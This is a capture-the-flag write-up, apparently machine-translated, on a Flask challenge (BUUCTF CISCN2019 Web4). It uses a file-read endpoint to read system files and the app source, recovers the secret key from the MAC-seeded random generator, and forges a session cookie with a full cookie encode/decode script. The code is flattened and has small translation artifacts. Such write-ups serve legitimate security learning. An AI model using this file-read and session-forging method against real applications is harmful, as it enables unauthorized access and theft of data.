This article will explain BUUCTF’s [CISCN2019 Southeast China Division] Web4, about the forgery of flask_session.
My ability is limited, if there are mistakes, I hope you can correct me.
Recently, I encountered a topic related to flask_session forgery in a game. I didn’t learn it before, and I happened to randomly pick a BUUCTF topic that happened to be the flask_session forgery. After reading the WP of the masters, I will conduct a self-summary.
After turning on the target machine, you can see
Click to jump to Baidu,
look at url
It feels like reading any file, so try to read the password
really read
Then try to read /flag
The words NO HACK appeared
Then see if you can read the currently executing program /proc/self/cmdline
Read the program source code again /app/app.py
# encoding:utf-8 import re, random, uuid, urllib from flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = True @app.route('/') def index(): session['username'] = 'www-data' return 'Hello World! @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('^file.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib. urlopen(url) return res. read() except Exception as ex: print str(ex) return 'no response' @app.route('/flag') def flag(): if session and session['username'] == 'fuck': return open('/flag.txt').read() else: return 'Access denied' if __name__=='__main__': app.run( debug=True, host="0.0.0.0" )
/read does not allow reading the flag, if you read from /flag, you need to forge the session
Pay attention to the following piece of code
app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = True
random.seed() is used to set the random seed, and the same seed will generate random numbers in order.
uuid.getnode() is used to obtain the device address, so we need to read the MAC address of the device network card first and then forge the session locally.
Baidu took a look at the device network card address under linux under /sys/class/net/eth0/address
After reading it, set it to random.seed() in python, and run random to get SECRET_KEY
Note that there is a pitfall here. The target address device is running with python2, and here I am python3. I have been using this as SECRET_KEY before, and then I can’t run the flag. Baidu checked, and the digits of python2 and python3 random are different. the same. (Been cheated for a long time 5555555) I don’t have python2 installed here, so I found an online website and ran it.
But it seems to be okay to take 9 digits directly from python3.
Decrypt your cookie to see the format.
Attach the script below
#!/usr/bin/env python3 """ Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' # standard imports import sys import zlib from its dangerous import base64_decode import ast # Abstract Base Classes (PEP 3119) if sys.version_info[0] < 3: # < 3.0 raise Exception('Must be using at least Python 3') elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 & amp; & amp; < 3.4 from abc import ABCMeta, abstractmethod else: # > 3.4 from abc import ABC, abstractmethod # Lib for argument parsing import argparse # external Imports from flask.sessions import SecureCookieSessionInterface class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 & amp; & amp; < 3.4 class FSCM(metaclass=ABCMeta): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast. literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si. get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}". format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload. split(".")[0] data = base64_decode(data) if compressed: data = zlib. decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si. get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}". format(e) raise e else: # > 3.4 class FSCM(ABC): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast. literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si. get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}". format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload. split(".")[0] data = base64_decode(data) if compressed: data = zlib. decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si. get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}". format(e) raise e if __name__ == "__main__": # Args are only relevant for __main__ usage ## Description for help parser = argparse. ArgumentParser( description='Flask Session Cookie Decoder/Encoder', epilog="Author : Wilson Sumanang, Alexandre ZANNI") ## prepare sub commands subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand') ## create the parser for the encode command parser_encode = subparsers.add_parser('encode', help='encode') parser_encode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=True) parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>', help='Session cookie structure', required=True) ## create the parser for the decode command parser_decode = subparsers.add_parser('decode', help='decode') parser_decode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=False) parser_decode.add_argument('-c', '--cookie-value', metavar='<string>', help='Session cookie value', required=True) ## get args args = parser. parse_args() ## find the option chosen if(args. subcommand == 'encode'): if(args. secret_key is not None and args. cookie_structure is not None): print(FSCM.encode(args.secret_key, args.cookie_structure)) elif(args. subcommand == 'decode'): if(args. secret_key is not None and args. cookie_value is not None): print(FSCM.decode(args.cookie_value,args.secret_key)) elif(args. cookie_value is not None): print(FSCM.decode(args.cookie_value))
You can go to github to give the author a star.
Then we re-encrypt the modified format ({‘username’:b’fuck’}) to get the cookie
Change our cookie again.
Visit /flag again to get flag